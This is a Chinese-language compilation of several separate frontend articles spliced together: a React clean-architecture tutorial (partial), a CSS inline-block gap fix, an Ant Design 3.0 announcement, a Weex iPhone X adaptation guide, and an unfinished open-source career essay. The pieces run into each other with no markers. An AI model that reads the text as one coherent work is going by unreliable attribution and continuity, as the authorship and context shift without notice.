最后,isTitleValid 和 isAuthorValid 方法能帮助 createArticle 隔离非法数据。
// @flow
import v1 from 'uuid';
import * as R from 'ramda';
import type {Article} from "./Article";
import * as validators from "./Validators";
export type ArticleFields = {
+title: string;
+author: string;
}
export type ArticleService = {
createArticle(articleFields: ArticleFields): ?Article;
updateLikes(article: Article, likes: number): Article;
isTitleValid(title: string): boolean;
isAuthorValid(author: string): boolean;
}
export const createArticle = (articleFields: ArticleFields): ?Article => {
const {title, author} = articleFields;
return isTitleValid(title) && isAuthorValid(author) ?
Object.freeze({
id: v1(),
likes: 0,
title,
author
}) :
null;
};
export const updateLikes = (article: Article, likes: number) =>
validators.isObject(article) ?
Object.freeze({
...article,
likes
}) :
article;
export const isTitleValid = (title: string) =>
R.allPass([
validators.isString,
validators.isLengthGreaterThen(0)
])(title);
export const isAuthorValid = (author: string) =>
R.allPass([
validators.isString,
validators.isLengthGreaterThen(0)
])(author);
export const ArticleServiceFactory = () => ({
createArticle,
updateLikes,
isTitleValid,
isAuthorValid
});
export const articleService = ArticleServiceFactory();
验证对于保持数据一致性非常重要,特别是在领域级别。我们可以用纯函数来编写 Validators 服务。
// @flow
export const isObject = (toValidate: any) => !!(toValidate && typeof toValidate === 'object');
export const isString = (toValidate: any) => typeof toValidate === 'string';
export const isLengthGreaterThen = (length: number) => (toValidate: string) => toValidate.length > length;
请使用最小的工程来检验这些验证方法,仅用于演示。
事实上,在 JavaScript 中检验一个对象是否为对象并不容易。 :)
现在我们有了领域层的结构!
好在现在就可以使用我们的代码来,而无需考虑框架。
让我们来看一下如何使用 articleService 创建一篇关于我最喜欢的书的文章,并更新它的收藏数。
// @flow
import {articleService} from "../domain/ArticleService";
const article = articleService.createArticle({
title: '12 rules for life',
author: 'Jordan Peterson'
});
const incrementedArticle = article ? articleService.updateLikes(article, 4) : null;
console.log('article', article);
/*
const itWillPrint = {
id: "92832a9a-ec55-46d7-a34d-870d50f191df",
likes: 0,
title: "12 rules for life",
author: "Jordan Peterson"
};
*/
console.log('incrementedArticle', incrementedArticle);
/*
const itWillPrintUpdated = {
id: "92832a9a-ec55-46d7-a34d-870d50f191df",
likes: 4,
title: "12 rules for life",
author: "Jordan Peterson"
};
*/
创建和更新文章所产生的数据代表了我们的应用程序的状态。
我们需要一个地方来储存这些数据,而 store 就是最佳人选
状态可以很容易地由一系列文章来建模。
// @flow
import type {Article} from "./Article";
export type ArticleState = Article[];
ArticleState.js
ArticleStoreFactory 实现了发布-订阅模式,并导出 articleStore 作为单例。
store 可保存文章并赋予他们添加、删除和更新的不可变操作。
记住,store 只对文章进行操作。只有 articleService 才能创建或更新它们。
感兴趣的人可以订阅和退订 articleStore。
articleStore 保存所有订阅者的列表,并将每个更改通知到他们。
// @flow
import {update} from "ramda";
import type {Article} from "../domain/Article";
import type {ArticleState} from "./ArticleState";
export type ArticleStore = {
addArticle(article: Article): void;
removeArticle(article: Article): void;
updateArticle(article: Article): void;
subscribe(subscriber: Function): Function;
unsubscribe(subscriber: Function): void;
}
export const addArticle = (articleState: ArticleState, article: Article) => articleState.concat(article);
export const removeArticle = (articleState: ArticleState, article: Article) =>
articleState.filter((a: Article) => a.id !== article.id);
export const updateArticle = (articleState: ArticleState, article: Article) => {
const index = articleState.findIndex((a: Article) => a.id === article.id);
return update(index, article, articleState);
};
export const subscribe = (subscribers: Function[], subscriber: Function) =>
subscribers.concat(subscriber);
export const unsubscribe = (subscribers: Function[], subscriber: Function) =>
subscribers.filter((s: Function) => s !== subscriber);
export const notify = (articleState: ArticleState, subscribers: Function[]) =>
subscribers.forEach((s: Function) => s(articleState));
export const ArticleStoreFactory = (() => {
let articleState: ArticleState = Object.freeze([]);
let subscribers: Function[] = Object.freeze([]);
return {
addArticle: (article: Article) => {
articleState = addArticle(articleState, article);
notify(articleState, subscribers);
},
removeArticle: (article: Article) => {
articleState = removeArticle(articleState, article);
notify(articleState, subscribers);
},
updateArticle: (article: Article) => {
articleState = updateArticle(articleState, article);
notify(articleState, subscribers);
},
subscribe: (subscriber: Function) => {
subscribers = subscribe(subscribers, subscriber);
return subscriber;
},
unsubscribe: (subscriber: Function) => {
subscribers = unsubscribe(subscribers, subscriber);
}
}
});
export const articleStore = ArticleStoreFactory();
我们的 store 实现对于演示的目的是有意义的,它让我们理解背后的概念。在实际运作中,我推荐使用状态管理系统,像 Redux, ngrx, MobX, 或者是可监控的数据管理系统
好的,现在我们有了领域层和存储层的结构。
让我们为 store 创建两篇文章和两个订阅者,并观察订阅者如何获得更改通知。
// @flow
import type {ArticleState} from "../store/ArticleState";
import {articleService} from "../domain/ArticleService";
import {articleStore} from "../store/ArticleStore";
const article1 = articleService.createArticle({
title: '12 rules for life',
author: 'Jordan Peterson'
});
const article2 = articleService.createArticle({
title: 'The Subtle Art of Not Giving a F.',
author: 'Mark Manson'
});
if (article1 && article2) {
const subscriber1 = (articleState: ArticleState) => {
console.log('subscriber1, articleState changed: ', articleState);
};
const subscriber2 = (articleState: ArticleState) => {
console.log('subscriber2, articleState changed: ', articleState);
};
articleStore.subscribe(subscriber1);
articleStore.subscribe(subscriber2);
articleStore.addArticle(article1);
articleStore.addArticle(article2);
articleStore.unsubscribe(subscriber2);
const likedArticle2 = articleService.updateLikes(article2, 1);
articleStore.updateArticle(likedArticle2);
articleStore.removeArticle(article1);
}
这一层用于执行与状态流相关的各种操作,如Ajax从服务器或状态镜像中获取数据。
出于某种原因,设计师要求所有作者的名字都是大写的。
我们知道这种要求是比较无厘头的,而且我们并不想因此污化了我们的模块。
于是我们创建了 ArticleUiService 来处理这些特性。这个服务将取用一个状态,就是作者的名字,将其构建到项目中,可返回大写的版本给调用者。
// @flow
export const displayAuthor = (author: string) => author.toUpperCase();
让我们看一个如何使用这个服务的演示!
// @flow
import {articleService} from "../domain/ArticleService";
import * as articleUiService from "../services/ArticleUiService";
const article = articleService.createArticle({
title: '12 rules for life',
author: 'Jordan Peterson'
});
const authorName = article ?
articleUiService.displayAuthor(article.author) :
null;
console.log(authorName);
// 将输出 JORDAN PETERSON
if (article) {
console.log(article.author);
// 将输出 Jordan Peterson
}
app-service-demo.js
现在我们有了一个可执行且不依赖于框架的应用程序,React 已经准备投入使用。
视图层由 presentational components
和 container components
组成。
presentational components
关注事物的外观,而 container components
则关注事物的工作方式。更多细节解释请关注 Dan Abramov 的文章。
让我们使用 ArticleFormContainer 和 ArticleListContainer 开始构建 App 组件。
// @flow
import React, {Component} from 'react';
import './App.css';
import {ArticleFormContainer} from "./components/ArticleFormContainer";
import {ArticleListContainer} from "./components/ArticleListContainer";
type Props = {};
class App extends Component<Props> {
render() {
return (
<div className="App">
<ArticleFormContainer/>
<ArticleListContainer/>
</div>
);
}
}
export default App;
接下来,我们来创建 ArticleFormContainer。React 或者 Angular 都不重要,表单有些复杂。
查看 Ramda 库以及如何增强我们代码的声明性质的方法。
表单接受用户输入并将其传递给 articleService 处理。此服务根据该输入创建一个 Article,并将其添加到 ArticleStore 中以供 interested 组件使用它。所有这些逻辑都存储在 submitForm 方法中。
『ArticleFormContainer.js』
// @flow
import React, {Component} from 'react';
import * as R from 'ramda';
import type {ArticleService} from "../domain/ArticleService";
import type {ArticleStore} from "../store/ArticleStore";
import {articleService} from "../domain/ArticleService";
import {articleStore} from "../store/ArticleStore";
import {ArticleFormComponent} from "./ArticleFormComponent";
type Props = {};
type FormField = {
value: string;
valid: boolean;
}
export type FormData = {
articleTitle: FormField;
articleAuthor: FormField;
};
export class ArticleFormContainer extends Component<Props, FormData> {
articleStore: ArticleStore;
articleService: ArticleService;
constructor(props: Props) {
super(props);
this.state = {
articleTitle: {
value: '',
valid: true
},
articleAuthor: {
value: '',
valid: true
}
};
this.articleStore = articleStore;
this.articleService = articleService;
}
changeArticleTitle(event: Event) {
this.setState(
R.assocPath(
['articleTitle', 'value'],
R.path(['target', 'value'], event)
)
);
}
changeArticleAuthor(event: Event) {
this.setState(
R.assocPath(
['articleAuthor', 'value'],
R.path(['target', 'value'], event)
)
);
}
submitForm(event: Event) {
const articleTitle = R.path(['target', 'articleTitle', 'value'], event);
const articleAuthor = R.path(['target', 'articleAuthor', 'value'], event);
const isTitleValid = this.articleService.isTitleValid(articleTitle);
const isAuthorValid = this.articleService.isAuthorValid(articleAuthor);
if (isTitleValid && isAuthorValid) {
const newArticle = this.articleService.createArticle({
title: articleTitle,
author: articleAuthor
});
if (newArticle) {
this.articleStore.addArticle(newArticle);
}
this.clearForm();
} else {
this.markInvalid(isTitleValid, isAuthorValid);
}
};
clearForm() {
this.setState((state) => {
return R.pipe(
R.assocPath(['articleTitle', 'valid'], true),
R.assocPath(['articleTitle', 'value'], ''),
R.assocPath(['articleAuthor', 'valid'], true),
R.assocPath(['articleAuthor', 'value'], '')
)(state);
});
}
markInvalid(isTitleValid: boolean, isAuthorValid: boolean) {
this.setState((state) => {
return R.pipe(
R.assocPath(['articleTitle', 'valid'], isTitleValid),
R.assocPath(['articleAuthor', 'valid'], isAuthorValid)
)(state);
});
}
render() {
return (
<ArticleFormComponent
formData={this.state}
submitForm={this.submitForm.bind(this)}
changeArticleTitle={(event) => this.changeArticleTitle(event)}
changeArticleAuthor={(event) => this.changeArticleAuthor(event)}
/>
)
}
}
这里注意 ArticleFormContainer,presentational component
,返回用户看到的真实表单。该组件显示容器传递的数据,并抛出 changeArticleTitle、 changeArticleAuthor 和 submitForm 的方法。
// @flow
import React from 'react';
import type {FormData} from './ArticleFormContainer';
type Props = {
formData: FormData;
changeArticleTitle: Function;
changeArticleAuthor: Function;
submitForm: Function;
}
export const ArticleFormComponent = (props: Props) => {
const {
formData,
changeArticleTitle,
changeArticleAuthor,
submitForm
} = props;
const onSubmit = (submitHandler) => (event) => {
event.preventDefault();
submitHandler(event);
};
return (
<form
noValidate
onSubmit={onSubmit(submitForm)}
>
<div>
<label htmlFor="article-title">Title</label>
<input
type="text"
id="article-title"
name="articleTitle"
autoComplete="off"
value={formData.articleTitle.value}
onChange={changeArticleTitle}
/>
{!formData.articleTitle.valid && (<p>Please fill in the title</p>)}
</div>
<div>
<label htmlFor="article-author">Author</label>
<input
type="text"
id="article-author"
name="articleAuthor"
autoComplete="off"
value={formData.articleAuthor.value}
onChange={changeArticleAuthor}
/>
{!formData.articleAuthor.valid && (<p>Please fill in the author</p>)}
</div>
<button
type="submit"
value="Submit"
>
Create article
</button>
</form>
)
};
现在我们有了创建文章的表单,下面就陈列他们吧。ArticleListContainer 订阅了 ArticleStore,获取所有的文章并展示在 ArticleListComponent 中。
『ArticleListContainer.js』
// @flow
import * as React from 'react'
import type {Article} from "../domain/Article";
import type {ArticleStore} from "../store/ArticleStore";
import {articleStore} from "../store/ArticleStore";
import {ArticleListComponent} from "./ArticleListComponent";
type State = {
articles: Article[]
}
type Props = {};
export class ArticleListContainer extends React.Component<Props, State> {
subscriber: Function;
articleStore: ArticleStore;
constructor(props: Props) {
super(props);
this.articleStore = articleStore;
this.state = {
articles: []
};
this.subscriber = this.articleStore.subscribe((articles: Article[]) => {
this.setState({articles});
});
}
componentWillUnmount() {
this.articleStore.unsubscribe(this.subscriber);
}
render() {
return <ArticleListComponent {...this.state}/>;
}
}
ArticleListComponent 是一个 presentational component
,他通过 props
接收文章,并展示组件 ArticleContainer。
『ArticleListComponent.js』
// @flow
import React from 'react';
import type {Article} from "../domain/Article";
import {ArticleContainer} from "./ArticleContainer";
type Props = {
articles: Article[]
}
export const ArticleListComponent = (props: Props) => {
const {articles} = props;
return (
<div>
{
articles.map((article: Article, index) => (
<ArticleContainer
article={article}
key={index}
/>
))
}
</div>
)
};
ArticleContainer 传递文章数据到表现层的 ArticleComponent,同时实现 likeArticle 和 removeArticle 这两个方法。
likeArticle 方法负责更新文章的收藏数,通过将现存的文章替换成更新后的副本。
removeArticle 方法负责从 store
中删除制定文章。
『ArticleContainer.js』
// @flow
import React, {Component} from 'react';
import type {Article} from "../domain/Article";
import type {ArticleService} from "../domain/ArticleService";
import type {ArticleStore} from "../store/ArticleStore";
import {articleService} from "../domain/ArticleService";
import {articleStore} from "../store/ArticleStore";
import {ArticleComponent} from "./ArticleComponent";
type Props = {
article: Article;
};
export class ArticleContainer extends Component<Props> {
articleStore: ArticleStore;
articleService: ArticleService;
constructor(props: Props) {
super(props);
this.articleStore = articleStore;
this.articleService = articleService;
}
likeArticle(article: Article) {
const updatedArticle = this.articleService.updateLikes(article, article.likes + 1);
this.articleStore.updateArticle(updatedArticle);
}
removeArticle(article: Article) {
this.articleStore.removeArticle(article);
}
render() {
return (
<div>
<ArticleComponent
article={this.props.article}
likeArticle={(article: Article) => this.likeArticle(article)}
deleteArticle={(article: Article) => this.removeArticle(article)}
/>
</div>
)
}
}
ArticleContainer 负责将文章的数据传递给负责展示的 ArticleComponent,同时负责当 「收藏」或「删除」按钮被点击时在响应的回调中通知 container component
。
还记得那个作者名要大写的无厘头需求吗?
ArticleComponent 在应用程序层调用 ArticleUiService,将一个状态从其原始值(没有大写规律的字符串)转换成一个所需的大写字符串。
『ArticleComponent.js』
// @flow
import React from 'react';
import type {Article} from "../domain/Article";
import * as articleUiService from "../services/ArticleUiService";
type Props = {
article: Article;
likeArticle: Function;
deleteArticle: Function;
}
export const ArticleComponent = (props: Props) => {
const {
article,
likeArticle,
deleteArticle
} = props;
return (
<div>
<h3>{article.title}</h3>
<p>{articleUiService.displayAuthor(article.author)}</p>
<p>{article.likes}</p>
<button
type="button"
onClick={() => likeArticle(article)}
>
Like
</button>
<button
type="button"
onClick={() => deleteArticle(article)}
>
Delete
</button>
</div>
);
};
我们现在有一个功能完备的 React 应用程序和一个鲁棒的、定义清晰的架构。任何新晋成员都可以通过阅读这篇文章学会如何顺利的进展我们的工作。:)
你可以在这里查看我们最终实现的应用程序,同时奉上 GitHub 仓库地址。
如果你喜欢这份指南,请为它点赞。
掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。
有基础的朋友可以直接跳过序言,直接看方案
display有几种属性:
inline是内联对象,比如<a/>
、<span/>
标签等,可以“堆在一起”显示,宽高由内容决定,不能设置;
block是块对象,比如<div/>
、<p/>
标签等,要占一整行,但是宽高可以自定义;
为了弥补inline和block的不足,又扩充了inline-block属性;
inline-blcok可以将对象呈递为内联对象,而内容作为块对象呈递。
通俗点讲就是
**“可定宽高地堆在一起”**显示
inline-blcok块之间的距离会被保持父层字体的1/3大小的空间
知道了原因,方案就好找了,我把它分为以下几种
<ul>
<li>item1</li>
<li>item2</li>
<li>item3</li>
<li>item4</li>
<li>item5</li>
</ul>
<ul>
<li>item1</li><li>item2</li><li>item3</li><li>item4</li><li>item5</li>
</ul>
<ul>
<li>
item1</li><li>
item2</li><li>
item3</li><li>
item4</li><li>
item5</li>
</ul>
<ul>
<li>item1</li
><li>item2</li
><li>item3</li
><li>item4</li
><li>item5</li>
</ul>
<ul>
<li>item1</li><!--
--><li>item2</li><!--
--><li>item3</li><!--
--><li>item4</li><!--
--><li>item5</li>
</ul>
以上几种均可以完美的达到去除间隙的作用
但是,从代码的可读性上看,或多或少有一些不足
使用打包工具或者自写脚本,在上线前将响应HTML代码打包成一行,即可
<ul>
<li>item1
<li>item2
<li>item3
<li>item4
<li>item5
</ul>
此方法虽然可以解决此问题,但是在Doctype为xhtml时将报错,所有方法是否适用须视情况而定。
知道间隙的产生原因和间隙的大小后,动手写一个css hack也是一种很好的方法
1、将父容器的字体大小设置为0,可解决绝大多数浏览器(老版本safari不支持)
2、针对不支持上条的浏览器设置字块或字符间间隙letter-spacing/word-spacing,推荐letter-spacing,因为此属性不会产生负间隙,但需要注意,要在子元素上设置letter-spacing:0
3、如果你转化但是块对象,那需要为低版本浏览器设置inline兼容,不让样式会乱掉
总结以上几点给出以下代码
.parent {
letter-spacing: -.3333em;
font-size: 0;
}
.child {
display: inline;
display: inline-block;
}
如发现文字有不妥之处,还请不吝赐教
- 原文地址:Announcing Ant Design 3.0
- 原文作者:Meck
- 译文出自:掘金翻译计划
- 本文永久链接:https://github.com/xitu/gold-miner/blob/master/TODO/announcing-ant-design-3-0.md
- 译者:木羽zwwill
- 校对者:Usey95、 swants
Ant Design 是一个致力于提升「用户」和「设计者」使用体验,提高「研发者」开发效率的企业中后台设计体系。
14 个月前我们发布了 Ant Design 2.0。期间我们收到了 200 多位贡献者的 PR,经历了大约 4000 个提交和超过 60 个版本
GitHub 上的 star 数也从 6k 上升到了 20k。
自 2015 年以来的 GitHub star 趋势。
今天,我们很高兴地宣布,Ant Design 3.0 正式发布了。在这个版本中,我们为组件和网站做了全新的设计,引入了新的颜色系统,重构了多个底层组件,加入了新的特性和优化,同时最小化不兼容的更改。这里可查看到完整的更改日志。
这是我们的主页:https://ant.design/index-cn
我们的新颜色系统源于天空的启发,因为她的包容性与我们品牌基调一致。基于对天空色彩随时间自然变化的观察,对光和阴影规则的研究,我们重新编写了颜色算法来生成一个全新的调色板,相应的层次也进行了优化。新调色板的感官更年轻,更明亮,灰度过渡得更自然,是感性美和理性美的完美结合。此外,所有主流色值都参照了信息获取标准。
在之前的版本中,组件的基本字体大小是 12px,我们收到了很多来自社区的反馈,建议我们加大字号。我们的设计师也意识到,在大屏幕普及的今天,14px 是更合适的字体大小。因此,我们将基本字体大小增大到了 14px,并对所有组件的尺寸进行了适配。
我们重写了 Table
组件来解决一些历史性问题。引入了一个新的工具 components
,现在你可以使用这个工具来高度定制 Table
组件,这里有一个示例,可以添加拖拽功能。
Form
组件也被重新编写,为表单嵌套提供更好的支持。
另一个重写的组件是 Steps
,这个重写的 Steps
有着更简单的 DOM 结构并且兼容到IE9。
这个版本,我们新增了两个组件, List 和 Divider。
List
组件对于文本、列表、图片、段落和其他数据的显示非常方便。与第三方库集成也很简单,例如,您可以使用 react-virtualized 来实现无限加载列表。更详细的例子可以参考 List 文档。
Divider
组件可用于在不同的章节中分割文本段落,或者将行内文本/链接分开,如表的动态列。详细的示例可以参考 Divider 文档。
在这个版本中,我们增加了对 React 16 和 ES 模块的支持。如果你正在使用 webpack 3,那么你现在可以通过 tree-shaking
和 ModuleConcatenationPlugin
来享受 antd 对组件的优化。如果你使用的是 babel-import-plugin
,只需将 libraryDirectory
设置到 es
目录。
在我们的代码中,我们已经删除了所有的隐式 any
类型,在您的项目中不再需要配置 "allowSyntheticDefaultImports": true
。如果您计划使用 TypeScript 来编写项目,请参考我们的新文档 「在 TypeScript 中使用」。
有些人可能已经知道了,我们正在开发另一个名为 Ant Design Pro 的项目,它是一个企业级中后台前端/设计解决方案,是基于 Ant Design 3.0 的 React Boilerplate。尽管它还没有达到 1.0 版本。但是随着 antd 3.0 的发布,现在可以投入使用了。
我们的设计师正在重新编写我们的设计指南,并设计一个新的 Ant Design 官网。我们非常高兴能够提供更好的设计语言,以激发更多构建企业级应用的灵感。
为了使 1.0 早日成型,我们的工程师正在投入到 Ant Design Pro 努力工作,同时我们也需要你的帮助来翻译我们的文档
如果没有你们的支持、反馈和参与,就不可能有今天的成功。感谢优秀的 Ant Design 社区。如果您在使用 antd 时遇到任何问题,可随时在 GitHub 提交问题。
感谢你的阅读。敬请安装、star、尝试。 🎉
掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。
iPhone X 上市也一月有余了,「齐刘海」的设计给全世界的 IOS 和 M 站开发人员出了一道兼容题目,默认效果问题虽不严重,但是足以逼疯强迫症患者。幸得项目「空窗期」,实践下 iPhone X 的适配。还记得之前的一篇文章吗?《【Weex】网易严选 App 感受 Weex 开发》,此处将以此 demo 为基础做展开 Weex 适配。Native 和 H5 的适配此处就不再做赘述了。「专业 IOS 开发同学就当个笑话看看吧,反正你都会,此文是写给不会原生的朋友的」
如果不仔细看,还以为是 iPhone 7 的效果,这也是官方「故意为之」的。
如果你用惯了 iPhone X,无意识地打开了一个类似上图的 app,着实会有点难以接受。
打开 iPhone X 的全屏模式其实很简单,只需要在 Xcode 里配置 iPhone X 的 LaunchImage 即可,也可以直接改配置文件。
可能 Weex Toolkit 构建出来的 Platform 内不含这两个配置图片,不过没关系,右击选择「Show in Finder」,更改 「Contents.json」 配置文件。
{
"images" : [
{
"extent" : "full-screen",
"idiom" : "iphone",
"subtype" : "2436h",
"filename" : "[email protected]",
"minimum-system-version" : "11.0",
"orientation" : "portrait",
"scale" : "3x"
},
{
"extent" : "full-screen",
"idiom" : "iphone",
"subtype" : "2436h",
"filename" : "[email protected]",
"minimum-system-version" : "11.0",
"orientation" : "landscape",
"scale" : "3x"
},
{
// other conf
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
再添加两张 1125×2436
的图片,记得名字需要和 filename
匹配,然后重新构建,你就会发现,他全屏啦!
Weex 针对 iPhone X 的兼容直接发生在前端开发层面。
「不会搞 Native 是前提」,有了这个前提,我们就只能自己动手了。
动手的原则就是,「合理利用每寸空间,将内容展示在安全区内」。
安全区是苹果用来描述 iPhone X 的合理显示区域。
手机纵向持握状态下,安全区是从屏幕最顶端往下 44 pt 开始计算的,要注意的是,它并不是和「齐刘海」完全齐平的,而是要再往下一点。「下巴」位置上,从下往上推 34 pt 以上的部分开始才被视为安全区。
至于横向就不好描述了,直接上图吧。
更多关于 iPhone X UI 适配的概念可以看看这篇文章
原则上,我们是将内容显示在安全区内,但一定是在「自然过度」的前提下。
此 demo 没有横屏模式,所有,唯一需要适配的就是,竖屏模式下安全区外的界面遮挡处理。
也就是上下两个部分内收处理。空出来的部分用同色色块填充。
既要适配 iPhone X 又不能影响其他系统,那就需要做「特殊识别处理」。
怎么识别 iPhone X?
幸运的是,Weex 官方有 API 提供平台消息,weex.config
,
weex.config
该变量包含了当前 Weex 页面的所有环境信息,包括不仅限于:
bundleUrl: JS bundle 的 URL,和页面的 URL 一致。
env: Object: 环境对象。
- weexVersion: string: Weex sdk 版本。
- appName: string: 应用名字。
- appVersion: string: 应用版本。
- platform: string: 平台信息,是 iOS、Android 还是 Web。
- osName: string: iOS或者android,表示操作系统的名称.
- osVersion: string: 系统版本。
- deviceModel: string: 设备型号 (仅原生应用) 。
- deviceWidth: number: 设备宽度。Weex 默认以宽度为 750px 做适配渲染,要获得750px下的屏幕高度,可以通过height = 750/deviceWidth*deviceHeight 公式获得,可以使用到 CSS 中,用来设置全屏尺寸
- deviceHeight: number: 设备高度。
iPhone X 环境下,weex.config.env.deviceModel
将返回 iPhone X 的特有标识 'iPhone10,3 or iPhone10,6'
,「注意 Xcode 虚拟机拿到的未必是正确的标识」
iPhone 5 - X 的标示
iPhone | models |
---|---|
5 | iPhone5,1 和 iPhone5,2 |
5c | iPhone5,3 和 iPhone5,4 |
5s | iPhone6,1 和 iPhone6,2 |
6 | iPhone7,2 |
6 Plus | iPhone7,1 |
6s | iPhone8,1 |
6s Plus | iPhone8,2 |
SE | iPhone8,4 |
7 | iPhone9,1 和 iPhone9,3 |
7 Plus | iPhone9,2 和 iPhone9,4 |
8 | iPhone10,1 和 iPhone10,4 |
8 Plus | iPhone10,2 和 iPhone10,5 |
X | iPhone10,3 和 iPhone10,6 |
更多关于 iPhone 的信息可参考这里
或者根据 操作系统 & 像素比 & 屏幕尺寸
组合判断是否是「刘海屏」。
在识别到 iPhone X 的标识后,做相应的留白即可,就这么简单,复杂度由你的项目决定,一般情况下,Weex 构建的项目还是很好适配的。
最基本的做法就是使用计算属性得到是否为 iPhone X 标记,在配合 class 绑定的「数组语法」可以轻松实现适配。
<template>
<div :class="['wrapper', isipx?'w-ipx':'']">
</div>
</template>
<script>
export default {
data () {},
computed:{
isipx:function () {
return weex && (weex.config.env.deviceModel === 'iPhone10,3' || weex.config.env.deviceModel === 'iPhone10,6');
}
},
}
</script>
<style scoped>
.wrapper{
/* 正常样式 */
}
.w-ipx{
/* iPhone X 样式 */
}
</style>
此处需要注意,在初始化时计算属性的作用域内未必每次都能拿到 weex 实例,所以必须做好容错。
如果是使用了 vue-router
可以使用 mixin 函数混入,非常方便。
<template>
<div :class="['wrapper', isIpxFuc()?'w-ipx':'']">
</div>
</template>
<script>
export default {
data () {}
}
</script>
<style scoped>
.wrapper{
/* 正常样式 */
}
.w-ipx{
/* iPhone X 样式 */
}
</style>
从最终效果图上看,还可以,至少满足了我的需求。只不过实现起来有些麻烦,Weex 是单页的结构,每个页面都需要单独做适配,如果从 Native 上做处理,就需要有一定的 Native 开发技能,加之良好的架构和协议设计。但是,Native 的处理远没有 UI 处理来的灵活。
总的来讲,Native 层和 UI 层的方法各有利弊,具体实施还需结合项目。
「没有最好的锤子,只有最适合钉子的锤子🔨」
webpack-dev-server --inline --hot --progress --config webpack.dev.js --watch --open
用这个命令开启的
今年我做了一次关于如何让开源项目获得成功的演讲,讨论如何通过做好各方面的准备,来确保让我们的开源项目吸引各种各样的贡献,包括提问、撰写文档或更新代码。之后我获得一个反馈信息,「你展示了如何让开源项目成功,这很棒,但我的开源之路究竟该从何入手呢」”。这篇文章就是对这个问题的回答,它解释了如何以及从何开始为开源项目做出贡献,以及如何开源自己的项目。
这里所分享的知识都是有经验可寻的:在 Algolia 中我们已经发布并维护了多个开源项目,时间证明这些项目都是成功的,我也花费了大量的时间来参与和创立新的开源项目。
六年前在 Fasterize (一个网站性能加速器供应商),我职业生涯的关键时刻。我们在 Node.js workers 上遇到了严重的 内存泄露问题。在检查完除 Node.js 源码外的所有代码后,我们并没有发现任何可造成此问题的线索。我们的变通策略是每天重启这些 workers 以释放内存,仅此而已,但我们知道这并不是一个优雅的解决方案,因此我想整体地去了解这个问题。
当我的联合创始人 Stéphane 建议我去看看 Node.js 的源码时,我几乎要笑出来。心想:「如果这里有 bug,最大的可能是我们的,而不是那些创造了革命性服务端框架的工程师们造成的。那好吧,我去看看」。两天后,我的两个针对 Node.js http 层的修复请求被通过合并,同时解决了我们自己的内存泄露问题。
这样做让我信心大增。在我敬重的其他 30 个对 http.js 文件作出贡献的人中,不乏 isaacs (npm 的创造者)这样优秀的开发者,这让我明白,代码就是代码,不管是谁写的。
你是否正在经历开源项目的 bug?深入挖掘,不要停留在你的临时解决方案。你的解决方案会让更多人受益并且获得更多开源贡献。读别人的代码。你可能不会马上修复你的问题,它可能需要一些时间来理解,但是您将学习新的模块、新的语法和不同的编码形式,这都将促使你成为一个开源项目的开发者。
Node.js 仓库上的首次贡献的标签
「我毫无头绪」是那些想为开源社区做贡献但又认为自己没有好的灵感或项目可以分享的开发者们共同的槽点。好吧,对此我想说:that’s OK。是有机会做开源贡献的。许多项目已经开始通过标注或标签为初学者列出优秀的贡献。
你可以通过这些网站找到贡献的灵感:Open Source Friday, First Timers Only, Your First PR, CodeTriage, 24 Pull Requests, Up For Grabs 和 Contributor-ninja (列表出自 opensource.guide).
工具化是一种很好的方式来发布一些有用的东西,而不必过多的考虑一些复杂的问题和 API 设计。您可以为您喜欢的框架或平台发布一个模板,将一些博客文章中的知识和工具使用姿势汇集到这个项目中进行诠释,并准备好实时更新和发布新特性。create-react-app 就是一个很好的例子🌰。
在 GitHub 上有大约 五万九千个模板 库,发布一个并不是难事反而对你有益
现在,你仍然可以像我们给 Atom 构建模版自动化导入插件那样对 Atom 和 Visual Studio Code 进行构建纯 JavaScript 插件。那些在 Atom 或者 Sublime Text 中已经存在了的优秀插件是否还没有出现在你最爱的编辑器中?那就去做一个吧。
你甚至可以为 webpack 或 babel 贡献插件来解决 JavaScript 技术栈的一些特殊用例。
好的一面是,大多数的平台都会说明如何创建和发布插件,所以你不必太过考虑怎么做到这些。
当你在 GitHub 上浏览项目时,你可能时常会发现或者使用一些被创建者遗弃的项目。他们仍然具有价值,但是很多问题和 PRs 被堆放在仓库中一直没有得到维护者的反馈。此刻你该怎么办?
我建议你同时做掉这两点。前者将帮助推进你的项目,而后者将使你和社区受益。
你可能会问,怎样成为新的维护者?发邮件或者在 Twitter 上 @ 现有维护者,并且对他说「你好,我帮你维护这个项目怎么样?」。通常都是行之有效的,并且这是一个很好的方法能让你在一个知名且有价值的项目上开启自己的开源生涯。
示例:去复兴一个遗弃的项目
发掘自己项目的最好方法就是关注一些如今还没有很好解决的问题。如果你发现,当你需要一个特定的库来解决你的一个问题而未果时,此刻便是你创建一个开源库的最佳时机。
在我职业生涯中还有另外一个关键时刻。在 Fasterize,我们需要一个快速且轻量级的图片懒加载器来做我们网站性能加速器,它并不是一个 jQuery 插件,而是一个可在其他网站加载并生效的独立项目。我找了很久也没在整个网络上找到现成的库。于是我说「完了,我没找到一个好的项目,我们没法立项了」。
对此,斯蒂芬回应说「好吧,那我们就创造一个」。嗯~~好吧,我开始复制粘贴一个 StackOverflow 上的解决方案 到 JavaScript 文件夹中,创建了一个图片懒加载器 并最终用到了像 Flipkart.com (每月有 2 亿多访问量,印度网站排行第九) 这样的网站上。经过这次成功的实践后,我的思维就被联结到了开源。我突然明白,开源可能是我开发者生涯的另外一部分,而不是一个只有传说和神话的 10x 程序员才胜任的领域。
一个没有很好解决的问题: 以可重用的方式解决它!
时间尤为重要。如果你决定不构建可重用的库,而是在自己的应用程序中内联一些代码,那就错失良机了。可能在某个时候,别人将创建这个本该由你创建的项目。不如即刻从你的应用程序中提取并发布这些可复用模块。
为了确保每个有需要的人都乐意来找到你的模块,你必须:
向全世界展示你的新项目
不要害怕在太多网站发布信息,只要你深信自己创造出来的东西是有价值的,那么再多的信息也不为过。总的来说,开源社区是很欢迎分享的。
